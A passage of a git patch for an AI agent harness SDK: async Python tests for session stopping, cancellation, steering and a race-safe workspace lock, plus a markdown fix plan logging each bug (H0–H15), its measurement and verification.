consume() -> None: + async for _ in turn: + pass + + task = asyncio.create_task(consume()) + await pause.reached.wait() + await asyncio.wait_for(session.stop(), 1) + pause.release.set() + await asyncio.wait_for(task, 1) + assert turn.result.cancelled, "a stop asked for is a cancellation" + + +async def test_a_second_run_waits_for_a_turn_running_in_another_task() -> None: + pause = fakes.Pause() + harness, _ = await fakes.open_harness( + fakes.FakeAdapter( + lambda prompt: ( + _paused(pause)(prompt) + if prompt == "slow" + else fakes.reply(prompt) + ) + ) + ) + session = harness.session() + slow = asyncio.create_task(session.run("slow")) + await pause.reached.wait() + fast = asyncio.create_task(session.run("fast")) + await asyncio.sleep(0.05) + assert not fast.done(), "one turn at a time" + pause.release.set() + assert (await slow).text == "partial" + assert (await fast).text == "fast" + + +# -- H5: walking away from a turn --------------------------------------------- + + +async def test_breaking_out_stops_the_agent_before_the_next_turn() -> None: + pause = fakes.Pause() + harness, adapter = await fakes.open_harness( + fakes.FakeAdapter( + lambda prompt: ( + _paused(pause)(prompt) + if prompt == "long" + else fakes.reply(prompt) + ) + ) + ) + session = harness.session() + async for event in session.stream("long"): + if isinstance(event, events.TextDelta): + break + result = await session.run("next") + assert adapter.stops == [session.session_id], "the CLI's turn was ended" + assert "long" in adapter.turns_finalized, "the adapter's turn was closed" + assert result.text == "next" + assert roles(result.messages) == ["user", "assistant", "user", "assistant"] + + +async def test_a_deadline_stops_once_and_settles_cancelled() -> None: + pause = fakes.Pause() + harness, adapter = await fakes.open_harness( + fakes.FakeAdapter(_paused(pause), honors_stop=False) + ) + session = harness.session() + result = await session.run("go", timeout=0.1) + assert result.cancelled + assert result.text == "partial" + assert adapter.stops == [session.session_id] + + +async def test_external_cancellation_propagates_and_frees_the_session() -> None: + pause = fakes.Pause() + harness, adapter = await fakes.open_harness( + fakes.FakeAdapter( + lambda prompt: ( + _paused(pause)(prompt) + if prompt == "slow" + else fakes.reply(prompt) + ), + honors_stop=False, + ) + ) + session = harness.session() + task = asyncio.create_task(session.run("slow")) + await pause.reached.wait() + task.cancel() + with pytest.raises(asyncio.CancelledError): + await task + assert adapter.stops == [session.session_id] + assert (await session.run("after")).text == "after" + + +# -- H7: per-session state --------------------------------------------------- + + +async def test_approval_errors_belong_to_the_session_they_happened_in() -> None: + pause = fakes.Pause() + adapter: Any = None + + def script(prompt: str) -> list[fakes.Step]: + if prompt != "a": + return fakes.reply(prompt) + + async def fail() -> None: + adapter.on_approval_error(a.session_id, "hook raised") + + return [events.StreamStart(), fakes.Run(fail), pause, *fakes.text("a")] + + harness, adapter = await fakes.open_harness(fakes.FakeAdapter(script)) + a, b = harness.session(), harness.session() + first = asyncio.create_task(a.run("a")) + await pause.reached.wait() + other = await b.run("b") + pause.release.set() + mine = await first + assert other.approval_errors == [] + assert mine.approval_errors == ["hook raised"] + + +async def test_a_closed_session_is_forgotten_by_its_harness() -> None: + harness, _ = await fakes.open_harness() + session = harness.session() + await session.run("hi") + assert session.session_id in harness._sessions + await session.close() + assert session.session_id not in harness._sessions + await harness.run("throwaway") + assert harness._sessions == {} + + +# -- H8: a steer after the agent finished ------------------------------------- + + +async def test_a_steer_after_the_turn_ended_is_refused() -> None: + """Claude would take it as a new turn of its own, and every later turn + would read the answer of the one before (measured).""" + harness, adapter = await fakes.open_harness() + session = harness.session() + turn = session.stream("hi") + async for event in turn: + if isinstance(event, events.StreamEnd): + with pytest.raises(RuntimeError, match="no active turn"): + await session.steer("too late") + assert adapter.steers == [] + assert roles(turn.result.messages) == ["user", "assistant"] + + +# -- H11: which CLI version --------------------------------------------------- + + +@pytest.mark.parametrize( + ("version", "warns"), + [("fake 1.9.3", True), ("fake 2.0.0", False), ("fake 2.1.7", False)], +) +async def test_a_cli_older_than_the_verified_one_warns( + version: str, warns: bool +) -> None: + adapter = fakes.FakeAdapter() + adapter.version = version + adapter.verified_version = "2.0.0" + with warnings.catch_warnings(record=True) as caught: + warnings.simplefilter("always") + await fakes.open_harness(adapter) + older = [w for w in caught if "older than" in str(w.message)] + assert bool(older) is warns + + +async def test_an_unreadable_version_does_not_warn() -> None: + adapter = fakes.FakeAdapter() + adapter.version = "unknown build" + adapter.verified_version = "2.0.0" + with warnings.catch_warnings(): + warnings.simplefilter("error") + await fakes.open_harness(adapter) + + +async def test_a_failed_turn_says_which_cli_version_failed() -> None: + def script(prompt: str) -> list[fakes.Step]: + async def fail() -> None: + raise errors.TurnFailedError("fake", "boom") + + return [events.StreamStart(), fakes.Run(fail)] + + harness, _ = await fakes.open_harness(fakes.FakeAdapter(script)) + with pytest.raises(errors.TurnFailedError) as info: + await harness.session().run("go") + assert "fake 1.0" in "\n".join(getattr(info.value, "__notes__", [])) diff --git a/tests/harnesses/experimental/test_session_lock.py b/tests/harnesses/experimental/test_session_lock.py index f7e6f0ee..7ae51d95 100644 --- a/tests/harnesses/experimental/test_session_lock.py +++ b/tests/harnesses/experimental/test_session_lock.py @@ -1,8 +1,14 @@ """The workspace lock, on a real local workspace: atomic, stale-aware, -releasable.""" +releasable only by its holder. + +Each test gets a workspace whose HOME is a temp dir, so lock files never +land in the user's own home. +""" from __future__ import annotations +import asyncio +import contextlib import json import os import time @@ -14,15 +20,36 @@ from ai.harnesses.experimental._session_lock import STALE_AFTER, SessionLock from ai.harnesses.experimental.errors import SessionBusyError -from ai.workspaces.experimental import Local + +from . import fakes KIND = "lock-test" +DEAD_PID = 2**22 - 1 # no such process + + +@pytest.fixture +async def workspace(tmp_path: Path) -> AsyncIterator[fakes.LockWorkspace]: + async with fakes.LockWorkspace(tmp_path) as ws: + yield ws @pytest.fixture -async def lock(tmp_path: Path) -> AsyncIterator[SessionLock]: - async with Local(tmp_path) as ws: - yield SessionLock(ws, KIND) +def lock(workspace: fakes.LockWorkspace) -> SessionLock: + return SessionLock(workspace, KIND) + + +async def _record(lock: SessionLock, sid: str) -> dict[str, object]: + path = Path(await lock.root()) / sid / "holder.json" + return dict(json.loads(path.read_text())) + + +async def _plant(lock: SessionLock, sid: str, **record: object) -> None: + """A lock some other client left behind.""" + directory = Path(await lock.root()) / sid + directory.mkdir(parents=True) + (directory / "holder.json").write_text( + json.dumps({"since": int(time.time()), "client": "", **record}) + ) async def test_a_live_holder_blocks_a_second_acquire_until_release( @@ -46,7 +73,7 @@ async def test_a_lock_whose_process_is_gone_is_reclaimed( lock: SessionLock, ) -> None: sid = str(uuid.uuid4()) - await lock.acquire(sid, pid=2**22 - 1) # no such process + await lock.acquire(sid, pid=DEAD_PID) try: assert await lock.holder(sid) is None, "a dead pid holds nothing" await lock.acquire(sid, pid=os.getpid()) # reclaimed, not refused @@ -63,22 +90,128 @@ async def test_a_pidless_lock_is_trusted_briefly_then_treated_as_abandoned( await lock.acquire(sid) # a launch in progress: no pid yet try: with pytest.raises(SessionBusyError): - await lock.acquire(sid) + await SessionLock(lock._workspace, KIND).acquire(sid) # Age it past the horizon and it is an abandoned launch. path = Path(await lock.root()) / sid / "holder.json" - path.write_text( - json.dumps( - { - "pid": None, - "since": int(time.time() - STALE_AFTER - 1), - "client": "", - } - ) - ) - await lock.acquire(sid, pid=os.getpid()) + record = json.loads(path.read_text()) + record["since"] = int(time.time() - STALE_AFTER - 1) + path.write_text(json.dumps(record)) + await SessionLock(lock._workspace, KIND).acquire(sid, pid=os.getpid()) finally: await lock.release(sid) async def test_release_of_an_unheld_lock_is_harmless(lock: SessionLock) -> None: await lock.release(str(uuid.uuid4())) + + +async def test_racing_reclaimers_of_a_stale_lock_never_both_win( + workspace: fakes.LockWorkspace, +) -> None: + """H6: both saw it stale; the old code let the second delete the first's + fresh lock and take it too. The interleaving is forced: every removal + waits until both clients have judged the lock stale, and the second + removal comes after the first client has finished taking it.""" + arrived: list[asyncio.Event] = [] + both = asyncio.Event() + + async def stagger(argv: list[str]) -> None: + if argv[0] != "rm": + return + mine = asyncio.Event() + arrived.append(mine) + if len(arrived) == 2: + both.set() + with contextlib.suppress(TimeoutError): + async with asyncio.timeout(1): + await both.wait() + if arrived.index(mine) == 1: + await asyncio.sleep(0.3) + + workspace.before_exec = stagger + sid = str(uuid.uuid4()) + await _plant(SessionLock(workspace, KIND), sid, pid=DEAD_PID) + clients = [SessionLock(workspace, KIND) for _ in range(2)] + outcomes = await asyncio.gather( + *(c.acquire(sid, pid=os.getpid()) for c in clients), + return_exceptions=True, + ) + assert [o is None for o in outcomes].count(True) == 1, outcomes + assert all( + isinstance(o, SessionBusyError) for o in outcomes if o is not None + ) + + +async def test_many_racing_acquirers_one_winner( + workspace: fakes.LockWorkspace, +) -> None: + for _ in range(5): + sid = str(uuid.uuid4()) + await _plant(SessionLock(workspace, KIND), sid, pid=DEAD_PID) + clients = [SessionLock(workspace, KIND) for _ in range(6)] + outcomes = await asyncio.gather( + *(c.acquire(sid, pid=os.getpid()) for c in clients), + return_exceptions=True, + ) + assert [o is None for o in outcomes].count(True) == 1, outcomes + + +async def test_only_the_holder_can_release( + workspace: fakes.LockWorkspace, +) -> None: + sid = str(uuid.uuid4()) + holder, other = SessionLock(workspace, KIND), SessionLock(workspace, KIND) + await holder.acquire(sid, pid=os.getpid()) + await other.release(sid) + assert await holder.holder(sid) is not None, "not the other's to release" + await other.claim_pid(sid, DEAD_PID) + assert (await _record(holder, sid))["pid"] == os.getpid() + await holder.release(sid) + assert await holder.holder(sid) is None + + +async def test_a_lock_is_never_seen_without_its_record( + lock: SessionLock, +) -> None: + sid = str(uuid.uuid4()) + await lock.acquire(sid) + root = Path(await lock.root()) + left = sorted(p.name for p in root.iterdir() if p.name != ".mutex") + assert left == [sid], "no temp left over" + assert (await _record(lock, sid))["pid"] is None + await lock.release(sid) + + +async def test_another_users_process_counts_as_alive(lock: SessionLock) -> None: + """`kill(pid, 0)` on a process we may not signal raises PermissionError: + it exists. pid 1 always does, and is never ours.""" + if os.getuid() == 0: + pytest.skip("root may signal anything") + sid = str(uuid.uuid4()) + await _plant(lock, sid, pid=1) + holder = await lock.holder(sid) + assert holder is not None and holder.pid == 1 + + +async def test_a_reused_pid_is_not_the_holder(lock: SessionLock) -> None: + """The pid is alive, but it is a later process than the one recorded.""" + sid = str(uuid.uuid4()) + await _plant(lock, sid, pid=os.getpid(), started="Thu Jan 1 00:00:00 1970") + assert await lock.holder(sid) is None + await lock.acquire(sid, pid=os.getpid()) + started = (await _record(lock, sid))["started"] + assert isinstance(started, str) and started + assert await lock.holder(sid) is not None, "its own start time matches" + await lock.release(sid) + + +async def test_listing_holders_is_one_command( + workspace: fakes.LockWorkspace, +) -> None: + """H12: the listing used to cost several commands per lock.""" + locks = [SessionLock(workspace, KIND) for _ in range(5)] + for i, held in enumerate(locks): + await held.acquire(f"s{i}", pid=os.getpid()) + workspace.execs.clear() + assert len(await locks[0].holders()) == 5 + assert len(workspace.execs) == 1 From 71300f79e49122f7936e80fe13e75b2355ea874a Mon Sep 17 00:00:00 2001 From: George Date: Mon, 19 Oct 2026 08:34:10 -0700 Subject: [PATCH 21/37] plans: the harness SDK fix plan, with what was measured along the way The review's findings (H0-H15), one checklist per issue, and a session log of what each fix measured and how it was verified. Every item is done; the afk app's own issues are not part of it. --- plans/harness-sdk-fixes.md | 767 +++++++++++++++++++++++++++++++++++++ 1 file changed, 767 insertions(+) create mode 100644 plans/harness-sdk-fixes.md diff --git a/plans/harness-sdk-fixes.md b/plans/harness-sdk-fixes.md new file mode 100644 index 00000000..87bdf002 --- /dev/null +++ b/plans/harness-sdk-fixes.md @@ -0,0 +1,767 @@ +# Harness SDK fixes + +Issues found reviewing `src/ai/harnesses/experimental` and +`src/ai/workspaces/experimental` on `harnesses-experimental`. One section per +issue, so each can be picked up and fixed on its own. + +## How to use this file (read first, every session) + +1. Read **Progress** and **Session log** below to see where we stopped. +2. Pick the first unchecked issue in **Progress** (or the one agreed with the + user). Mark it `[~]` in Progress when starting. +3. Work through that issue's **Tasks** checklist in order. Tick each box + (`- [x]`) as soon as it is done, not at the end. +4. When every task of an issue is ticked, mark it `[x]` in Progress. +5. Before ending a session, add a line to **Session log**: date, issues + touched, what's left, anything surprising. +6. Every code change ends with the CI checks (see **Checks**). + +Markers: `[ ]` open · `[~]` in progress · `[x]` done · `[-]` dropped (say why). + +Offline doubles for every fix: `tests/harnesses/experimental/fakes.py` +(`FakeAdapter`, `FakeWorkspace`, `FakeProcess`, `LockWorkspace`). + +## Progress + +Suggested order: H0 → H1 → H2 → H3/H4 → H5 → H6 → H7 → H8 → rest. + +- [x] **H0** Fake adapter test fixture (P3, prerequisite) +- [x] **H1** Messages come out in the wrong order (P0) +- [x] **H2** `session.stop()` from another task raises (P0) +- [x] **H3** Codex `Deny(stop=True)` freezes for 30s (P0) +- [x] **H4** Approval hook blocks all codex traffic (P0) +- [x] **H5** `break` leaves the CLI turn running (P1) +- [x] **H6** Session lock can let two clients in (P1) +- [x] **H7** Error state shared across sessions (P1) +- [x] **H8** Claude steer may desync turns, verify first (P1) +- [x] **H9** Different default permissions per CLI (P2) +- [x] **H10** Approval hook is a weak gate (P2) +- [x] **H11** Depends on undocumented CLI internals (P2) +- [x] **H12** Too many network round trips in a sandbox (P3) +- [x] **H13** `history()` has no incremental read (P3) +- [x] **H14** Text-only input; tools/MCP not configurable (P3) +- [x] **H15** Docs fixes (P2, ongoing alongside the others) + +Severity: + +- **P0**: breaks normal usage (a UI, a service, a handoff). +- **P1**: wrong under concurrency or races; data or state corruption. +- **P2**: unsafe default, misleading docs, or fragility. +- **P3**: performance, test gaps, missing features. + +## Checks + +Run after every change (from `AGENTS.md`): + +```bash +uv run ruff format --check src tests examples +uv run ruff check src tests examples +uv run mypy +uv run ty check +uv run pytest tests/harnesses/experimental tests/workspaces/experimental \ + --ignore=tests/harnesses/experimental/e2e \ + --ignore=tests/workspaces/experimental/e2e -q +``` + +Plus the relevant e2e tests when `claude` / `codex` (and Vercel creds for +sandbox tests) are available. afk offline tests: +`cd examples/apps/afk && uv run pytest -m "not live" -q`. + +## Session log + +Newest last. One entry per session. + +- 2026-10-09 (review): found H0–H15, wrote this plan and + `plans/harness_repro.py`. No code changed yet. Next: H0. +- Session 2: H0, H1, H2, H5, H3, H4 done. + - `_session.py`: history built per segment (call → result → answer), live + and mid-turn; `stop()` safe from any task (waits on `Turn._done`, closes + only a suspended generator, `STOP_TIMEOUT`); a turn nobody reads (break, + deadline, cancel) stops the agent in `_drive`'s finally and closes the + adapter's generator; `stream()` reclaims an abandoned turn itself. + - `jsonrpc.py`: server requests answered in their own tasks (cancelled on + close, error reply if a handler fails); codex `_decide` takes the turn id + from the request. Real codex `Deny(stop=True)`: 33s → 3.3s. + - New offline tests: `test_session.py`, `test_jsonrpc.py`, + `test_codex_adapter.py` (fake app-server). New e2e: stop from another + task, break-then-run, tool-turn handoff, hook calling the harness. + - Full local live suite passed (171) after H1/H2/H5; codex + approval + suites passed after H3/H4. Sandbox e2e not run this session. + - `plans/harness_repro.py` deleted (superseded by `fakes.py`). + - Next: H6. +- Session 3: H6, H7, H8 done; H10, H11, H12 mostly done (open items need a + decision or a sandbox). + - H6: `_session_lock.py` rewritten around one stdlib helper run with one + `exec`: flock'd check-and-set, lock built in a temp dir and renamed into + place, per-holder token for claim/release, PermissionError = alive, + recorded `ps` start time catches pid reuse. Forced interleaving test + reproduced the double win on the old code. + - H7: `_pending_error` per session in both adapters; + `on_approval_error(session_id, detail)`; `Session.close()` forgets the + session. + - H8: measured claude: mid-turn steer is fine; a steer after the turn + ended desynced every later turn. Session refuses it after `StreamEnd`; + claude adapter refuses unless its CLI turn is running. + - H10: claude hook now a PreToolUse hook (sees every call; measured) → + `approval="all"`. `workspace.resolve()`. Example + docs rewritten. + - H11: `VERIFIED_VERSION` per adapter, warning when older, version note on + every turn error, `prepare_tui` fail-soft. + - H12: claude `_cli_sessions` one command. + - Final: full local live suite 198 passed / 6 skipped (sandbox-only); + offline suite 1101 passed; afk offline 94 passed; all checks pass. + - Blocked: sandbox e2e (`VERCEL_OIDC_TOKEN` expired; needs + `vercel env pull`, ask first). + - Waiting on the user: H9 option name/defaults; H10 policy helpers; + H11 version pinning + scheduled CI; H13 follow API; H14 which options. +- Session 4: user decisions applied (H9 yolo default, H11 latest CLI, H13 no + new API, H14 inputs + basic options, H10 no helpers). User requires e2e on + multiple workspaces before merge; `vercel env pull` run (all local keys + kept, backup was `/tmp/hx/env.local.bak`). + - H11: found the sandbox image ships claude 2.1.283, so "install when + missing" never gave latest → `base.provision()`. + - H12: claude store listing now ≤2 round trips (was 1 + N). + - Sandbox bug found by the matrix: `spawn()` returned before the + supervisor's `mkfifo`, so the stdin pump could open a FIFO that did not + exist yet (intermittent "input conduit exited before it was ready"). + `_PUMP` now waits for the FIFO; offline test with a late FIFO. + - Runs: local live matrix 216 passed / 8 skipped. Sandbox matrix (before + the pump fix): 215 passed, 4 failed = httpx ConnectError to the Vercel + API at 6-way parallelism; rerun of all claude-sandbox + those: 90 passed, + 1 failed (claude-sandbox lock test). After the pump fix: 218 passed, the + same test failed again — so the pump race was real but not the cause. + - Real cause, found by making the failure report the program's own exit + and stderr (`SandboxProcess._ended_note`): `claude --resume ` + exited with "No conversation found". `WorkspaceSessionStore.append` + wrote the fork in place (sandbox file API stamps it 1970) and touched it + after; a claude CLI already running in the VM sweeps "ancient" + transcripts, and under load the sweep landed in between (then `touch` + made an empty file). Now written to `.part` (the CLI only + enumerates `*.jsonl`, checked in the 2.1.289 bundle), touched, and + renamed into place in one command. Repro under load: 1 of 12 failed + before, 18 of 18 passed after. + - FINAL (merge gate): sandbox matrix 219 passed / 2 skipped (claude-only + options on codex); local live matrix 216 passed / 8 skipped; offline + suite 1125 passed; afk offline 94 passed; ruff, mypy, ty, examples + check all pass. Every H item done; remaining work is the afk bucket + (not in this plan). +- Session 5: committed (6e8b734 workspaces, a14bc04 harnesses). Before + committing, check-examples showed a regression the earlier runs missed + (only the last summary line was read): claude-only options on claude + alone made `{"claude-code": claude_code, "codex": codex}` a dict of bare + `function` to mypy, failing afk and examples/harnesses/tui.py. Fixed by + making codex() accept `tools`/`disallowed_tools`/`max_turns` and raise + UnsupportedError when set (every claude_code() argument is a codex() + argument again); offline + e2e (both × both workspaces) tests. + Lesson: read check-examples' exit code, not its last line. + - Parallel sandbox runs use `uv run --with pytest-xdist ... -n 4` (no + project dependency added). + +--- + +## H0. Fake adapter test fixture (prerequisite) · P3 + +**Why first:** every e2e test drives a real CLI +(`tests/harnesses/experimental/conftest.py`: "no fakes"). That's why H1–H5 +slipped through. We need fast, offline tests for the session state machine +before fixing it. + +**Design:** + +- `FakeAdapter`: implements the `base.Adapter` protocol. Its `turn()` is + driven by a script (a list of events, plus optional pause points controlled + by `asyncio.Event`s). It records `stop()`, `steer()`, `close_session()` + calls, and tracks whether its turn generator's `finally` ran. +- `FakeWorkspace`: minimal `open()`, `coords`, `kind="local"`, in-memory + `exec` / `read_text` / `write_text` / `exists` / `home` (enough for + `SessionLock`), with a hook to inject interleavings. +- `FakeProcess`: an in-memory `readline` / `write` pair for `JsonRpcPeer`, + with a hook to answer calls. + +**Tasks:** + +- [x] Create `tests/harnesses/experimental/fakes.py` with `FakeAdapter` + (start from `plans/harness_repro.py`) +- [x] Add `FakeWorkspace` to `fakes.py` +- [x] Add `FakeProcess` to `fakes.py` +- [x] Add `tests/harnesses/experimental/test_session.py` with one smoke test + (plain text turn → `Result.text`, `finish_reason="stop"`) +- [x] Add `tests/harnesses/experimental/test_jsonrpc.py` with one smoke test + (call → response) — moved to H3, where it is first needed +- [-] Mark H1, H2, H3 repro tests as `xfail(strict=True)` — dropped: each + test was written failing and fixed in the same session +- [x] Offline suite runs in < 5s with no CLI installed +- [x] Checks pass + +--- + +## H1. Messages come out in the wrong order · P0 + +**Where:** `src/ai/harnesses/experimental/_session.py`, `_drive()` (~L295) +and `_settle()` (~L371). + +**Problem:** tool results are appended to `self._messages` as they arrive +(~L360). The assistant message, which holds the tool calls, is appended only +at settle (~L394), using the adapter's `StreamEnd.message`, which carries +every part of the turn in one message. A tool-using turn produces: + +``` +[user, tool, assistant(tool_call + text)] +``` + +The tool result comes before the call that made it. + +**Impact:** + +- `result.messages` / `session.messages` are malformed for any tool turn. + Docs say they work "anywhere `ai` messages do". +- `run(..., history=result.messages)` (documented handoff) feeds this to + `_handoff.to_claude_records` / `to_codex_items`, writing a `tool_result` + before its `tool_use`. +- The approval hook's `ctx.history` sees the same broken order. +- Live order differs from stored `history()`, which is correct. + +**Fix approach:** + +- Build history per *segment*, like the AI SDK agent loop: on + `ToolCallResult`, first append the assistant segment so far (hydrated + message for `segment.id`), then the tool message, then start a new + segment. At settle, append only the final segment. +- At settle, ignore `StreamEnd.message.parts`; use hydrated segments and copy + only metadata from `StreamEnd.message` (option b: keeps adapters simple). +- `Result.text` = text of the last segment (same "after the last tool call" + behaviour, now for free; `_text_of` may simplify). +- The cancelled path in `_settle` (no `StreamEnd`) joins all segments into + one today; split it the same way. + +**Tasks:** + +- [x] Fake test: tool turn → roles `[user, assistant, tool, assistant]`, + call before result (fails first) +- [x] Fake test: two tool rounds → alternating segments, unique message ids +- [x] Fake test: cancelled mid-tool → no tool result before its call +- [x] Fake test: approval hook `ctx.history` has the right order mid-turn +- [x] Implement segment-based history in `_drive` / `_settle` +- [x] Keep provider metadata from `StreamEnd.message` +- [x] Recheck `Result.text` / `_text_of` (narration still excluded) +- [x] Recheck `steer()` message placement relative to segments +- [x] e2e: live `session.messages` and stored `history()` have the same role + sequence, per harness +- [x] e2e (`test_handoff`): `history=result.messages` from a *tool-using* + turn into the other harness succeeds +- [x] Docs (H15): note the order and that tool-turn handoff works +- [x] Checks pass + +--- + +## H2. `session.stop()` from another task raises · P0 + +**Where:** `_session.py` `stop()` (~L431) → `_reclaim()` (~L216) → +`Turn.aclose()` (~L90). + +**Problem:** `stop()` calls `_reclaim()`, which calls `aclose()` on the +turn's async generator. If the consumer task is awaiting the next event (the +usual case for a Stop button, watchdog, or HTTP cancel endpoint), Python +raises `RuntimeError: aclose(): asynchronous generator is already running`. +Same when `_once()` reclaims while another task's turn runs on the session. + +**Fix approach:** + +- `stop()` = set `_stopped`, call `adapter.stop()`, then *wait* for the + active turn to settle (an `asyncio.Event` set in `_drive`'s `finally`), + with a timeout. Never `aclose()` from a foreign task. +- The adapter's `turn()` ends on its own after interrupt (Claude: result + after interrupt; codex: `turn/completed`). +- Fallback if the adapter doesn't end within N seconds: cancel the + consumer's iteration through a stored task / cancel scope. +- Only `aclose()` when the generator is suspended (`ag_running` false), i.e. + the "consumer walked away" case. +- `stop()` returns once settled, so `turn.result` is readable right after. + +**Tasks:** + +- [x] Fake test: consumer blocked mid-turn, `stop()` from another task → + no exception, result `cancelled`, `adapter.stop` called once (fails + first) +- [x] Fake test: `stop()` inside the `async for` body still works +- [x] Fake test: `stop()` with no active turn is a no-op +- [x] Fake test: adapter never ends → `stop()` returns after timeout, turn + settled as cancelled +- [x] Fake test: concurrent `run()` on the same session doesn't raise + (waits, or raises a clear error; decide which) +- [x] Add a "settled" event to `Turn` / `_drive` +- [x] Rewrite `stop()` and `_reclaim()` per the approach +- [x] Decide and pick the stop timeout constant +- [x] e2e: `stop()` from a separate task, both harnesses +- [x] Docs (H15): `stop()` safe from any task, returns once settled +- [x] Checks pass + +--- + +## H3. Codex `Deny(stop=True)` freezes for 30s · P0 + +**Where:** `_adapters/jsonrpc.py` `_read_loop()` (~L123–150); +`_adapters/codex.py` `_on_request()` (~L725–745). + +**Problem:** `_read_loop` does `await on_request(...)` inline. After +answering the approval, `_on_request` does +`await self._rpc().call("turn/interrupt", ..., timeout=30)`. That call waits +for a response only `_read_loop` can resolve, and `_read_loop` is stuck in +this very call. It always waits the full 30s, then `suppress` hides the +timeout. The e2e test only asserts `took < 60`. + +**Fix approach:** H4's change (requests dispatched off the read loop) fixes +the deadlock. Also send `turn/interrupt` as its own task after `respond()`. + +**Tasks:** + +- [x] Fake test (`test_jsonrpc.py`): `call()` from inside `on_request` + returns as soon as the server answers (fails first) +- [x] Fake codex test: `Deny(stop=True)` settles the turn in < 1s +- [x] Do H4's read-loop change (or land H3+H4 together) +- [-] Send `turn/interrupt` as a separate task after `respond()` — not needed: + the whole request handler now runs in its own task. Also: `_decide` now + takes the turn id from the request itself (`params.turnId`) +- [x] Tighten e2e bound in `e2e/test_approval.py` to `< 15s` +- [x] Checks pass + +--- + +## H4. Approval hook blocks all codex traffic · P0 + +**Where:** `_adapters/jsonrpc.py` `_read_loop()`. + +**Problem:** same root cause as H3. While the hook runs (up to +`approval_timeout`, default 300s, e.g. a human in a UI), nothing is read: + +- no notifications → no streamed events for *any* session on that + app-server; +- no RPC responses → `steer()`, `stop()`, `history()`, `sessions()` hang; +- a hook calling back into the harness (e.g. `agent.history()`) deadlocks + until timeout. + +**Fix approach:** + +- Dispatch server requests with `asyncio.create_task(...)`; keep tasks in a + set (no GC), cancel them on `close()`. +- Keep notifications inline to preserve order. +- Errors in request tasks: log and answer `decline`, never lose them. + +**Tasks:** + +- [x] Fake test: hook blocked on an event → notifications still reach the + turn's queue, and a `call()` from another task resolves (fails first) +- [x] Fake test: two sessions, one blocked in approval, other streams +- [x] Fake test: hook that calls `agent.history()` doesn't deadlock +- [x] Dispatch requests as tasks in `_read_loop` +- [x] Track and cancel request tasks on `close()` +- [x] Error handling in request tasks (decline + report) +- [x] Recheck `_on_request`: interrupt still after `respond()` +- [x] Checks pass + +--- + +## H5. `break` leaves the CLI turn running · P1 + +**Where:** `_session.py` `_reclaim()` / `Turn.aclose()`; Claude adapter +`turn()` (~L620+) and `_drain_interrupted()` (~L812); codex `turn()`. + +**Problem:** `async for e in turn: break` (documented as fine) leaves the +CLI's turn running. `_reclaim()` closes the Python generator only: + +- the inner `adapter.turn()` generator is abandoned, not closed; no + `adapter.stop()` is sent; +- **Claude:** `_drain_interrupted` only runs for sessions in + `_interrupted`. The next `query()` + `receive_response()` reads the *old* + turn's tail and stops at the *old* `ResultMessage`. Turns are off by one + from then on; +- **Codex:** the old turn keeps running server-side; the next `turn/start` + errors or races. + +**Fix approach (a):** on reclaim of an unsettled turn: `adapter.stop()`, +mark interrupted, explicitly `aclose()` the inner adapter generator (keep a +reference in `_drive`). Claude's `_drain_interrupted` then eats the leftover +result. `_drive`'s `finally` closes the adapter generator when suspended. + +**Tasks:** + +- [x] Fake test: break after first event, then `run()` → `adapter.stop` + called, adapter generator `finally` ran, second result has the second + prompt's text (fails first) +- [x] Keep a reference to the adapter generator in `_drive`, close it in + `finally` +- [x] Reclaim of an unsettled turn calls `adapter.stop()` and marks it + interrupted +- [x] Claude: confirm `_drain_interrupted` handles this path +- [x] Codex: confirm the next `turn/start` waits for the old + `turn/completed` (or the interrupt ack) +- [x] e2e both harnesses: stream long answer, `break`, `run("say OK")` → + text contains `OK` +- [x] Docs (H15): what `break` does now +- [x] Checks pass + +--- + +## H6. Session lock can let two clients in · P1 + +**Where:** `_session_lock.py` `acquire()` (~L75–95), `_read()` +(~L147–160), `_live()` (~L169). + +**Problems:** + +1. **Double reclaim:** A and B see a stale lock. A `rm -rf` + `mkdir` (wins) + + writes holder. B `rm -rf` (deletes A's *fresh* lock) + `mkdir` (wins). + Both hold it. The docstring says this can't happen. +2. **Write window:** between `mkdir` and writing `holder.json` (a network + round trip in a sandbox), a reader sees no record → `Holder(since=0)` → + dead → steals it. +3. **Liveness:** `os.kill(pid, 0)` raising `PermissionError` exits non-zero + → treated as dead. PID reuse → false busy. + +**Fix approach:** + +- Create the lock atomically with its record: write `tmpdir/holder.json`, + then rename `tmpdir` → `lockdir` (atomic; fails if it exists). +- Reclaim by renaming the stale lock aside + (`mv lockdir lockdir.stale.`); only the client whose rename succeeds + goes on to create. Delete the aside dir after. +- Random token in the holder; `release()` only removes a lock whose token + matches. +- Liveness: `PermissionError` = alive; store process start time to catch + pid reuse. +- Do each operation in one `exec` of a small Python helper (ties into H12). + +**Tasks:** + +- [x] Fake test: two acquirers on a stale lock, interleaved → exactly one + wins (fails first) +- [x] Fake test: a read during create never sees a record-less lock +- [x] Fake test: `release()` by a non-holder leaves the lock +- [x] Fake test: `PermissionError` pid counts as alive +- [x] Atomic create via temp dir + rename +- [x] Reclaim via rename-aside — done differently: the whole check-and-set + runs under an `flock` mutex in one helper command, so reclaim is a + plain remove + create with nobody else in between +- [x] Holder token, checked on release +- [x] Liveness fixes (PermissionError, start time) +- [x] Update the module docstring to match +- [x] Existing `test_session_lock.py` + `e2e/test_session_lock.py` pass +- [x] Checks pass + +--- + +- [x] Verify in a Vercel Sandbox: `vercel env pull` done (user approved); + lock e2e passes in the VM. Its one intermittent failure was NOT the + lock: a sandbox spawn race (see session 4 log) + +## H7. Error state shared across sessions · P1 + +**Where:** + +- `_adapters/claude.py`: `self._pending_error` (~L94), reset at turn start + (~L637), set in `_decide` (~L597), raised at ~L716. +- `_adapters/codex.py`: `self._pending_error` (~L123), reset ~L827, set + ~L791/798, raised ~L898. +- `_harness.py`: `self._approval_errors` (~L41), `_record_approval_error` + (~L332), `_take_approval_errors` (~L335). +- `_harness.py`: `self._sessions` (~L44) never shrinks. + +**Problem:** one slot per adapter / one list per harness. With two +sessions: B's turn start clears A's pending error; A raises B's error; a +turn's `approval_errors` includes another session's hook failures. + +**Tasks:** + +- [x] Fake test: two sessions, hook fails only for A → only A's result has + `approval_errors` (fails first) +- [x] Fake test: B's turn start doesn't clear A's pending error +- [x] Claude: `_pending_error` → `dict[session_id, BaseException]` +- [x] Codex: same +- [x] `on_approval_error(session_id, detail)`; per-session error list +- [x] Remove session from `Harness._sessions` on `Session.close()` +- [x] Checks pass + +--- + +## H8. Claude steer may desync turns (verify first) · P1 + +**Where:** `_adapters/claude.py` `steer()` (~L826): `client.query(text)` +mid-turn. + +**Problem (suspected):** if the CLI treats a mid-turn message as a 